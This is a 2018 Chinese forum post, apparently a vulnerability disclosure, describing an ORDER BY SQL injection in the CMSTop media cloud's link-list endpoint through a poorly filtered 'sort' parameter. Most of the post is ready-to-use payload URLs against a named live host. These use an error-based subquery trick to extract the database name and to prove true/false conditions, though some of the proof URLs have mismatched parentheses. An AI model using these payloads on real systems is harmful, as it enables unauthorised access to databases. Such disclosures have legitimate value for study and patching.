zhen 发表于 2018-3-7 19:44:50

cmstop媒体云sql注入漏洞(1)-order by 注入技巧

同样的cmstop 媒体云的注入

注册账号后,在选择链接分类的时候,会发生如下链接

http://site.cmstop.cn/link/index/list?type=1&offset=0&limit=50&_=1440172313381&sort=desc&category=2

但是其中的sort参数过滤不严格,导致了一个order by后面的mysql注入

利用mysql的报错特性进行注入,当1=1会正在,1=2就会异常了,其实mysql会抛出一个Subquery returns more than 1 row的异常,利用这个特性,我们可以进行注入:

构造如下链接,http://site.cmstop.cn/link/index/list?type=1&offset=0&limit=50&_=1440172313381&sort=desc,if(substring(database(),1,1)='1',1,(select%201%20from%20information_schema.TABLES))&category=2可爆出数据库为:cloud_data进而获取其他数据,就不深入了媒体云上的系统都会受影响
漏洞证明:访问http://site.cmstop.cn/link/index/list?type=1&offset=0&limit=50&_=1440172313381&sort=desc,if(1=1,1,1)='1',1,(select%201%20from%20information_schema.TABLES))&category=2和http://site.cmstop.cn/link/index/list?type=1&offset=0&limit=50&_=1440172313381&sort=desc,if(1=2,1)='1',1,(select%201%20from%20information_schema.TABLES))&category=2

页: [1]
查看完整版本: cmstop媒体云sql注入漏洞(1)-order by 注入技巧